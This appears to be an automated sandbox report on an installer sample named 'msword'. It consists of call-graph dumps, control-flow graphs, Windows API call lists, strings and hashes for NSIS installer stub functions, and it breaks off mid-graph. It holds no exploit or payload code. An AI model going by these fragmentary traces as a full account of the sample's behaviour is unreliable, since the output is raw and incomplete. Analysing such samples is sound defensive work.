5042->5045 5052 4045b1 5042->5052 5109 405c84 GetDlgItemTextW 5043->5109 5048 40453e GetDlgItem 5045->5048 5055 40455c 5045->5055 5046 4044ea 5049 406038 5 API calls 5046->5049 5047 40469d 5107 404833 5047->5107 5111 405c84 GetDlgItemTextW 5047->5111 5050 403d3f 19 API calls 5048->5050 5051 4044f0 5049->5051 5054 404551 ShowWindow 5050->5054 5057 403e74 5 API calls 5051->5057 5052->5047 5058 406805 18 API calls 5052->5058 5052->5107 5054->5055 5060 404579 SetWindowTextW 5055->5060 5065 405d59 4 API calls 5055->5065 5056 403dca 8 API calls 5061 404847 5056->5061 5062 4044f5 GetDlgItem 5057->5062 5063 40462f SHBrowseForFolderW 5058->5063 5059 4046c9 5064 40677e 18 API calls 5059->5064 5066 403d3f 19 API calls 5060->5066 5067 404503 IsDlgButtonChecked 5062->5067 5062->5107 5063->5047 5068 404647 CoTaskMemFree 5063->5068 5069 4046cf 5064->5069 5070 40456f 5065->5070 5071 404597 5066->5071 5067->5042 5072 406722 3 API calls 5068->5072 5112 406009 lstrcpynW 5069->5112 5070->5060 5076 406722 3 API calls 5070->5076 5073 403d3f 19 API calls 5071->5073 5074 404654 5072->5074 5077 4045a2 5073->5077 5078 40468b SetDlgItemTextW 5074->5078 5083 406805 18 API calls 5074->5083 5076->5060 5110 403d98 SendMessageW 5077->5110 5078->5047 5079 4046e6 5081 4062fc 3 API calls 5079->5081 5090 4046ee 5081->5090 5082 4045aa 5086 4062fc 3 API calls 5082->5086 5084 404673 lstrcmpiW 5083->5084 5084->5078 5087 404684 lstrcatW 5084->5087 5085 404730 5113 406009 lstrcpynW 5085->5113 5086->5052 5087->5078 5089 404739 5091 405d59 4 API calls 5089->5091 5090->5085 5095 406751 2 API calls 5090->5095 5096 404785 5090->5096 5092 40473f GetDiskFreeSpaceW 5091->5092 5094 404763 MulDiv 5092->5094 5092->5096 5094->5096 5095->5090 5098 4047e2 5096->5098 5099 4043ad 21 API calls 5096->5099 5097 404805 5114 403d85 KiUserCallbackDispatcher 5097->5114 5098->5097 5100 40141d 80 API calls 5098->5100 5101 4047d3 5099->5101 5100->5097 5103 4047e4 SetDlgItemTextW 5101->5103 5104 4047d8 5101->5104 5103->5098 5105 4043ad 21 API calls 5104->5105 5105->5098 5106 404821 5106->5107 5115 403d61 5106->5115 5107->5056 5109->5046 5110->5082 5111->5059 5112->5079 5113->5089 5114->5106 5116 403d74 SendMessageW 5115->5116 5117 403d6f 5115->5117 5116->5107 5117->5116 5118 402da5 5119 4030e3 5118->5119 5120 402dac 5118->5120 5121 401446 18 API calls 5120->5121 5122 402db8 5121->5122 5123 402dbf SetFilePointer 5122->5123 5123->5119 5124 402dcf 5123->5124 5124->5119 5126 405f51 wsprintfW 5124->5126 5126->5119 5127 4030a9 SendMessageW 5128 4030c2 InvalidateRect 5127->5128 5129 4030e3 5127->5129 5128->5129 5130 401cb2 5131 40145c 18 API calls 5130->5131 5132 401c54 5131->5132 5133 4062a3 11 API calls 5132->5133 5136 401c64 5132->5136 5134 401c59 5133->5134 5135 406c9b 81 API calls 5134->5135 5135->5136 4086 4021b5 4087 40145c 18 API calls 4086->4087 4088 4021bb 4087->4088 4089 40145c 18 API calls 4088->4089 4090 4021c4 4089->4090 4091 40145c 18 API calls 4090->4091 4092 4021cd 4091->4092 4093 40145c 18 API calls 4092->4093 4094 4021d6 4093->4094 4095 404f72 25 API calls 4094->4095 4096 4021e2 ShellExecuteW 4095->4096 4097 40221b 4096->4097 4098 40220d 4096->4098 4100 4062a3 11 API calls 4097->4100 4099 4062a3 11 API calls 4098->4099 4099->4097 4101 402230 4100->4101 5144 402238 5145 40145c 18 API calls 5144->5145 5146 40223e 5145->5146 5147 4062a3 11 API calls 5146->5147 5148 40224b 5147->5148 5149 404f72 25 API calls 5148->5149 5150 402255 5149->5150 5151 405c3f 2 API calls 5150->5151 5152 40225b 5151->5152 5153 4062a3 11 API calls 5152->5153 5156 4022ac CloseHandle 5152->5156 5159 40226d 5153->5159 5155 4030e3 5156->5155 5157 402283 WaitForSingleObject 5158 402291 GetExitCodeProcess 5157->5158 5157->5159 5158->5156 5161 4022a3 5158->5161 5159->5156 5159->5157 5160 406332 2 API calls 5159->5160 5160->5157 5163 405f51 wsprintfW 5161->5163 5163->5156 5164 4040b8 5165 4040d3 5164->5165 5173 404201 5164->5173 5169 40410e 5165->5169 5195 403fca WideCharToMultiByte 5165->5195 5166 40426c 5167 404276 GetDlgItem 5166->5167 5168 40433e 5166->5168 5170 404290 5167->5170 5171 4042ff 5167->5171 5174 403dca 8 API calls 5168->5174 5176 403d3f 19 API calls 5169->5176 5170->5171 5179 4042b6 6 API calls 5170->5179 5171->5168 5180 404311 5171->5180 5173->5166 5173->5168 5175 40423b GetDlgItem SendMessageW 5173->5175 5178 404339 5174->5178 5200 403d85 KiUserCallbackDispatcher 5175->5200 5177 40414e 5176->5177 5182 403d3f 19 API calls 5177->5182 5179->5171 5183 404327 5180->5183 5184 404317 SendMessageW 5180->5184 5187 40415b CheckDlgButton 5182->5187 5183->5178 5188 40432d SendMessageW 5183->5188 5184->5183 5185 404267 5186 403d61 SendMessageW 5185->5186 5186->5166 5198 403d85 KiUserCallbackDispatcher 5187->5198 5188->5178 5190 404179 GetDlgItem 5199 403d98 SendMessageW 5190->5199 5192 40418f SendMessageW 5193 4041b5 SendMessageW SendMessageW lstrlenW SendMessageW SendMessageW 5192->5193 5194 4041ac GetSysColor 5192->5194 5193->5178 5194->5193 5196 404007 5195->5196 5197 403fe9 GlobalAlloc WideCharToMultiByte 5195->5197 5196->5169 5197->5196 5198->5190 5199->5192 5200->5185 4195 401eb9 4196 401f24 4195->4196 4197 401ec6 4195->4197 4198 401f53 GlobalAlloc 4196->4198 4199 401f28 4196->4199 4200 401ed5 4197->4200 4207 401ef7 4197->4207 4201 406805 18 API calls 4198->4201 4206 4062a3 11 API calls 4199->4206 4211 401f36 4199->4211 4202 4062a3 11 API calls 4200->4202 4205 401f46 4201->4205 4203 401ee2 4202->4203 4208 402708 4203->4208 4213 406805 18 API calls 4203->4213 4205->4208 4209 402387 GlobalFree 4205->4209 4206->4211 4217 406009 lstrcpynW 4207->4217 4209->4208 4219 406009 lstrcpynW 4211->4219 4212 401f06 4218 406009 lstrcpynW 4212->4218 4213->4203 4215 401f15 4220 406009 lstrcpynW 4215->4220 4217->4212 4218->4215 4219->4205 4220->4208 5201 4074bb 5203 407344 5201->5203 5202 407c6d 5203->5202 5204 4073c2 GlobalFree 5203->5204 5205 4073cb GlobalAlloc 5203->5205 5206 407443 GlobalAlloc 5203->5206 5207 40743a GlobalFree 5203->5207 5204->5205 5205->5202 5205->5203 5206->5202 5206->5203 5207->5206

                                                                            Executed Functions

                                                                            Function 004050CD Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 295windowclipboardmemoryCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 0 4050cd-4050e8 1 405295-40529c 0->1 2 4050ee-4051d5 GetDlgItem * 3 call 403d98 call 404476 call 406805 call 4062a3 GetClientRect GetSystemMetrics SendMessageW * 2 0->2 3 4052c6-4052d3 1->3 4 40529e-4052c0 GetDlgItem CreateThread CloseHandle 1->4 35 4051f3-4051f6 2->35 36 4051d7-4051f1 SendMessageW * 2 2->36 6 4052f4-4052fb 3->6 7 4052d5-4052de 3->7 4->3 11 405352-405356 6->11 12 4052fd-405303 6->12 9 4052e0-4052ef ShowWindow * 2 call 403d98 7->9 10 405316-40531f call 403dca 7->10 9->6 22 405324-405328 10->22 11->10 14 405358-40535b 11->14 16 405305-405311 call 403d18 12->16 17 40532b-40533b ShowWindow 12->17 14->10 20 40535d-405370 SendMessageW 14->20 16->10 23 40534b-40534d call 403d18 17->23 24 40533d-405346 call 404f72 17->24 27 405376-405397 CreatePopupMenu call 406805 AppendMenuW 20->27 28 40528e-405290 20->28 23->11 24->23 37 405399-4053aa GetWindowRect 27->37 38 4053ac-4053b2 27->38 28->22 39 405206-40521d call 403d3f 35->39 40 4051f8-405204 SendMessageW 35->40 36->35 41 4053b3-4053cb TrackPopupMenu 37->41 38->41 46 405253-405274 GetDlgItem SendMessageW 39->46 47 40521f-405233 ShowWindow 39->47 40->39 41->28 43 4053d1-4053e8 41->43 45 4053ed-405408 SendMessageW 43->45 45->45 48 40540a-40542d OpenClipboard EmptyClipboard GlobalAlloc GlobalLock 45->48 46->28 51 405276-40528c SendMessageW * 2 46->51 49 405242 47->49 50 405235-405240 ShowWindow 47->50 52 40542f-405458 SendMessageW 48->52 53 405248-40524e call 403d98 49->53 50->53 51->28 52->52 54 40545a-405474 GlobalUnlock SetClipboardData CloseClipboard 52->54 53->46 54->28
                                                                            APIs
                                                                            • GetDlgItem.USER32(?,00000403), ref: 0040512F
                                                                            • GetDlgItem.USER32(?,000003EE), ref: 0040513E
                                                                            • GetClientRect.USER32(?,?), ref: 00405196
                                                                            • GetSystemMetrics.USER32(00000015), ref: 0040519E
                                                                            • SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051BF
                                                                            • SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051D0
                                                                            • SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004051E3
                                                                            • SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004051F1
                                                                            • SendMessageW.USER32(?,00001024,00000000,?), ref: 00405204
                                                                            • ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405226
                                                                            • ShowWindow.USER32(?,00000008), ref: 0040523A
                                                                            • GetDlgItem.USER32(?,000003EC), ref: 0040525B
                                                                            • SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040526B
                                                                            • SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405280
                                                                            • SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040528C
                                                                            • GetDlgItem.USER32(?,000003F8), ref: 0040514D
                                                                              • Part of subcall function 00403D98: SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6
                                                                              • Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
                                                                              • Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
                                                                              • Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7
                                                                            • GetDlgItem.USER32(?,000003EC), ref: 004052AB
                                                                            • CreateThread.KERNELBASE(00000000,00000000,Function_00005047,00000000), ref: 004052B9
                                                                            • CloseHandle.KERNELBASE(00000000), ref: 004052C0
                                                                            • ShowWindow.USER32(00000000), ref: 004052E7
                                                                            • ShowWindow.USER32(?,00000008), ref: 004052EC
                                                                            • ShowWindow.USER32(00000008), ref: 00405333
                                                                            • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405365
                                                                            • CreatePopupMenu.USER32 ref: 00405376
                                                                            • AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040538B
                                                                            • GetWindowRect.USER32(?,?), ref: 0040539E
                                                                            • TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053C0
                                                                            • SendMessageW.USER32(?,00001073,00000000,?), ref: 004053FB
                                                                            • OpenClipboard.USER32(00000000), ref: 0040540B
                                                                            • EmptyClipboard.USER32 ref: 00405411
                                                                            • GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 0040541D
                                                                            • GlobalLock.KERNEL32(00000000), ref: 00405427
                                                                            • SendMessageW.USER32(?,00001073,00000000,?), ref: 0040543B
                                                                            • GlobalUnlock.KERNEL32(00000000), ref: 0040545D
                                                                            • SetClipboardData.USER32(0000000D,00000000), ref: 00405468
                                                                            • CloseClipboard.USER32 ref: 0040546E
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
                                                                            • String ID: @rD$New install of "%s" to "%s"${
                                                                            • API String ID: 2110491804-2409696222
                                                                            • Opcode ID: 71b8ecf663d6f058a1c3ced55927feebbdcf1e8b0d86afd2c4b352cd48bee751
                                                                            • Instruction ID: 480b9f2609884c7685ddca5963e0cfcc77f9e358d06567921943d8ab7e89b76b
                                                                            • Opcode Fuzzy Hash: 71b8ecf663d6f058a1c3ced55927feebbdcf1e8b0d86afd2c4b352cd48bee751
                                                                            • Instruction Fuzzy Hash: 14B15B70800608FFDB11AFA0DD85EAE7B79EF44355F00803AFA45BA1A0CBB49A519F59
                                                                            Function 00403883 Relevance: 54.6, APIs: 22, Strings: 9, Instructions: 304filestringcomCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 305 403883-403919 #17 SetErrorMode OleInitialize call 4062fc SHGetFileInfoW call 406009 GetCommandLineW call 406009 GetModuleHandleW 312 403923-403937 call 405d06 CharNextW 305->312 313 40391b-40391e 305->313 316 4039ca-4039d0 312->316 313->312 317 4039d6 316->317 318 40393c-403942 316->318 319 4039f5-403a0d GetTempPathW call 4037cc 317->319 320 403944-40394a 318->320 321 40394c-403950 318->321 328 403a33-403a4d DeleteFileW call 403587 319->328 329 403a0f-403a2d GetWindowsDirectoryW lstrcatW call 4037cc 319->329 320->320 320->321 323 403952-403957 321->323 324 403958-40395c 321->324 323->324 326 4039b8-4039c5 call 405d06 324->326 327 40395e-403965 324->327 326->316 342 4039c7 326->342 331 403967-40396e 327->331 332 40397a-40398c call 403800 327->332 345 403acc-403adb call 403859 CoUninitialize 328->345 346 403a4f-403a55 328->346 329->328 329->345 333 403970-403973 331->333 334 403975 331->334 343 4039a1-4039b6 call 403800 332->343 344 40398e-403995 332->344 333->332 333->334 334->332 342->316 343->326 361 4039d8-4039f0 call 407d6e call 406009 343->361 348 403997-40399a 344->348 349 40399c 344->349 359 403ae1-403af1 call 405ca0 ExitProcess 345->359 360 403bce-403bd4 345->360 351 403ab5-403abc call 40592c 346->351 352 403a57-403a60 call 405d06 346->352 348->343 348->349 349->343 358 403ac1-403ac7 call 4060e7 351->358 362 403a79-403a7b 352->362 358->345 365 403c51-403c59 360->365 366 403bd6-403bf3 call 4062fc * 3 360->366 361->319 370 403a62-403a74 call 403800 362->370 371 403a7d-403a87 362->371 372 403c5b 365->372 373 403c5f 365->373 397 403bf5-403bf7 366->397 398 403c3d-403c48 ExitWindowsEx 366->398 370->371 384 403a76 370->384 378 403af7-403b11 lstrcatW lstrcmpiW 371->378 379 403a89-403a99 call 40677e 371->379 372->373 378->345 383 403b13-403b29 CreateDirectoryW SetCurrentDirectoryW 378->383 379->345 390 403a9b-403ab1 call 406009 * 2 379->390 387 403b36-403b56 call 406009 * 2 383->387 388 403b2b-403b31 call 406009 383->388 384->362 404 403b5b-403b77 call 406805 DeleteFileW 387->404 388->387 390->351 397->398 402 403bf9-403bfb 397->402 398->365 401 403c4a-403c4c call 40141d 398->401 401->365 402->398 406 403bfd-403c0f GetCurrentProcess 402->406 412 403bb8-403bc0 404->412 413 403b79-403b89 CopyFileW 404->413 406->398 411 403c11-403c33 406->411 411->398 412->404 414 403bc2-403bc9 call 406c68 412->414 413->412 415 403b8b-403bab call 406c68 call 406805 call 405c3f 413->415 414->345 415->412 425 403bad-403bb4 CloseHandle 415->425 425->412
                                                                            APIs
                                                                            • #17.COMCTL32 ref: 004038A2
                                                                            • SetErrorMode.KERNELBASE(00008001), ref: 004038AD
                                                                            • OleInitialize.OLE32(00000000), ref: 004038B4
                                                                              • Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
                                                                              • Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
                                                                              • Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327
                                                                            • SHGetFileInfoW.SHELL32(00409264,00000000,?,000002B4,00000000), ref: 004038DC
                                                                              • Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016
                                                                            • GetCommandLineW.KERNEL32(0046ADC0,NSIS Error), ref: 004038F1
                                                                            • GetModuleHandleW.KERNEL32(00000000,004C30A0,00000000), ref: 00403904
                                                                            • CharNextW.USER32(00000000,004C30A0,00000020), ref: 0040392B
                                                                            • GetTempPathW.KERNEL32(00002004,004D70C8,00000000,00000020), ref: 00403A00
                                                                            • GetWindowsDirectoryW.KERNEL32(004D70C8,00001FFF), ref: 00403A15
                                                                            • lstrcatW.KERNEL32(004D70C8,\Temp), ref: 00403A21
                                                                            • DeleteFileW.KERNELBASE(004D30C0), ref: 00403A38
                                                                            • CoUninitialize.COMBASE(?), ref: 00403AD1
                                                                            • ExitProcess.KERNEL32 ref: 00403AF1
                                                                            • lstrcatW.KERNEL32(004D70C8,~nsu.tmp), ref: 00403AFD
                                                                            • lstrcmpiW.KERNEL32(004D70C8,004CF0B8,004D70C8,~nsu.tmp), ref: 00403B09
                                                                            • CreateDirectoryW.KERNEL32(004D70C8,00000000), ref: 00403B15
                                                                            • SetCurrentDirectoryW.KERNEL32(004D70C8), ref: 00403B1C
                                                                            • DeleteFileW.KERNEL32(004331E8,004331E8,?,00477008,00409204,00473000,?), ref: 00403B6D
                                                                            • CopyFileW.KERNEL32(004DF0D8,004331E8,00000001), ref: 00403B81
                                                                            • CloseHandle.KERNEL32(00000000,004331E8,004331E8,?,004331E8,00000000), ref: 00403BAE
                                                                            • GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C04
                                                                            • ExitWindowsEx.USER32(00000002,00000000), ref: 00403C40
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
                                                                            • String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp$1C
                                                                            • API String ID: 2435955865-239407132
                                                                            • Opcode ID: 5d9024d5f0e899f809313532158b428341dd342d07cfae74060de4bd372621f4
                                                                            • Instruction ID: 7cf1fa831aca86d96b8495533088dbe4cf0b0326274ef0a42366eb07f7c747b9
                                                                            • Opcode Fuzzy Hash: 5d9024d5f0e899f809313532158b428341dd342d07cfae74060de4bd372621f4
                                                                            • Instruction Fuzzy Hash: C4A1B671544305BAD6207F629D4AF1B3EACAF0070AF15483FF585B61D2DBBC8A448B6E
                                                                            Function 00406805 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 587 406805-406810 588 406812-406821 587->588 589 406823-406837 587->589 588->589 590 406839-406846 589->590 591 40684f-406855 589->591 590->591 594 406848-40684b 590->594 592 406a81-406a8a 591->592 593 40685b-40685c 591->593 596 406a95-406a96 592->596 597 406a8c-406a90 call 406009 592->597 595 40685d-40686a 593->595 594->591 598 406870-406880 595->598 599 406a7f-406a80 595->599 597->596 601 406886-406889 598->601 602 406a5a 598->602 599->592 603 406a5d 601->603 604 40688f-4068cd 601->604 602->603 605 406a6d-406a70 603->605 606 406a5f-406a6b 603->606 607 4068d3-4068de GetVersion 604->607 608 4069ed-4069f6 604->608 611 406a73-406a79 605->611 606->611 612 4068e0-4068e8 607->612 613 4068fc 607->613 609 4069f8-4069fb 608->609 610 406a2f-406a38 608->610 616 406a0b-406a1a call 406009 609->616 617 4069fd-406a09 call 405f51 609->617 614 406a46-406a58 lstrlenW 610->614 615 406a3a-406a41 call 406805 610->615 611->595 611->599 612->613 618 4068ea-4068ee 612->618 619 406903-40690a 613->619 614->611 615->614 628 406a1f-406a25 616->628 617->628 618->613 622 4068f0-4068f4 618->622 624 40690c-40690e 619->624 625 40690f-406911 619->625 622->613 627 4068f6-4068fa 622->627 624->625 629 406913-406939 call 405ed3 625->629 630 40694d-406950 625->630 627->619 628->614 634 406a27-406a2d call 406038 628->634 640 4069d9-4069dd 629->640 641 40693f-406948 call 406805 629->641 632 406960-406963 630->632 633 406952-40695e GetSystemDirectoryW 630->633 637 406965-406973 GetWindowsDirectoryW 632->637 638 4069cf-4069d1 632->638 636 4069d3-4069d7 633->636 634->614 636->634 636->640 637->638 638->636 642 406975-40697f 638->642 640->634 645 4069df-4069eb lstrcatW 640->645 641->636 646 406981-406984 642->646 647 406999-4069af SHGetSpecialFolderLocation 642->647 645->634 646->647 649 406986-40698d 646->649 650 4069b1-4069c8 SHGetPathFromIDListW CoTaskMemFree 647->650 651 4069ca-4069cc 647->651 652 406995-406997 649->652 650->636 650->651 651->638 652->636 652->647
                                                                            APIs
                                                                            • GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
                                                                            • GetSystemDirectoryW.KERNEL32(00462540,00002004), ref: 00406958
                                                                              • Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016
                                                                            • GetWindowsDirectoryW.KERNEL32(00462540,00002004), ref: 0040696B
                                                                            • lstrcatW.KERNEL32(00462540,\Microsoft\Internet Explorer\Quick Launch), ref: 004069E5
                                                                            • lstrlenW.KERNEL32(00462540,0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 00406A47
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
                                                                            • String ID: @%F$@%F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
                                                                            • API String ID: 3581403547-784952888
                                                                            • Opcode ID: 93666727498e5f08fd38b631bc67a6e1ad40de3ecc08933b567c44a166c18943
                                                                            • Instruction ID: 7881bd453c5698e0e02013fa1c3524f2cf467b60749c67c5a59258f73e57ab2a
                                                                            • Opcode Fuzzy Hash: 93666727498e5f08fd38b631bc67a6e1ad40de3ecc08933b567c44a166c18943
                                                                            • Instruction Fuzzy Hash: F171F4B1A00215ABDB20AF28CD44A7E3771EF55314F12C03FE906B62E0E77C89A19B5D
                                                                            Function 004074BB Relevance: 5.4, APIs: 4, Instructions: 382COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 886 4074bb-4074c0 887 4074c2-4074ef 886->887 888 40752f-407547 886->888 890 4074f1-4074f4 887->890 891 4074f6-4074fa 887->891 889 407aeb-407aff 888->889 895 407b01-407b17 889->895 896 407b19-407b2c 889->896 892 407506-407509 890->892 893 407502 891->893 894 4074fc-407500 891->894 897 407527-40752a 892->897 898 40750b-407514 892->898 893->892 894->892 899 407b33-407b3a 895->899 896->899 902 4076f6-407713 897->902 903 407516 898->903 904 407519-407525 898->904 900 407b61-407c68 899->900 901 407b3c-407b40 899->901 917 407350 900->917 918 407cec 900->918 906 407b46-407b5e 901->906 907 407ccd-407cd4 901->907 909 407715-407729 902->909 910 40772b-40773e 902->910 903->904 905 407589-4075b6 904->905 913 4075d2-4075ec 905->913 914 4075b8-4075d0 905->914 906->900 911 407cdd-407cea 907->911 915 407741-40774b 909->915 910->915 916 407cef-407cf6 911->916 919 4075f0-4075fa 913->919 914->919 920 40774d 915->920 921 4076ee-4076f4 915->921 922 407357-40735b 917->922 923 40749b-4074b6 917->923 924 40746d-407471 917->924 925 4073ff-407403 917->925 918->916 928 407600 919->928 929 407571-407577 919->929 930 407845-4078a1 920->930 931 4076c9-4076cd 920->931 921->902 927 407692-40769c 921->927 922->911 932 407361-40736e 922->932 923->889 937 407c76-407c7d 924->937 938 407477-40748b 924->938 943 407409-407420 925->943 944 407c6d-407c74 925->944 933 4076a2-4076c4 927->933 934 407c9a-407ca1 927->934 946 407556-40756e 928->946 947 407c7f-407c86 928->947 935 40762a-407630 929->935 936 40757d-407583 929->936 930->889 939 407c91-407c98 931->939 940 4076d3-4076eb 931->940 932->918 948 407374-4073ba 932->948 933->930 934->911 949 40768e 935->949 950 407632-40764f 935->950 936->905 936->949 937->911 945 40748e-407496 938->945 939->911 940->921 951 407423-407427 943->951 944->911 945->924 955 407498 945->955 946->929 947->911 953 4073e2-4073e4 948->953 954 4073bc-4073c0 948->954 949->927 956 407651-407665 950->956 957 407667-40767a 950->957 951->925 952 407429-40742f 951->952 959 407431-407438 952->959 960 407459-40746b 952->960 963 4073f5-4073fd 953->963 964 4073e6-4073f3 953->964 961 4073c2-4073c5 GlobalFree 954->961 962 4073cb-4073d9 GlobalAlloc 954->962 955->923 958 40767d-407687 956->958 957->958 958->935 965 407689 958->965 966 407443-407453 GlobalAlloc 959->966 967 40743a-40743d GlobalFree 959->967 960->945 961->962 962->918 968 4073df 962->968 963->951 964->963 964->964 970 407c88-407c8f 965->970 971 40760f-407627 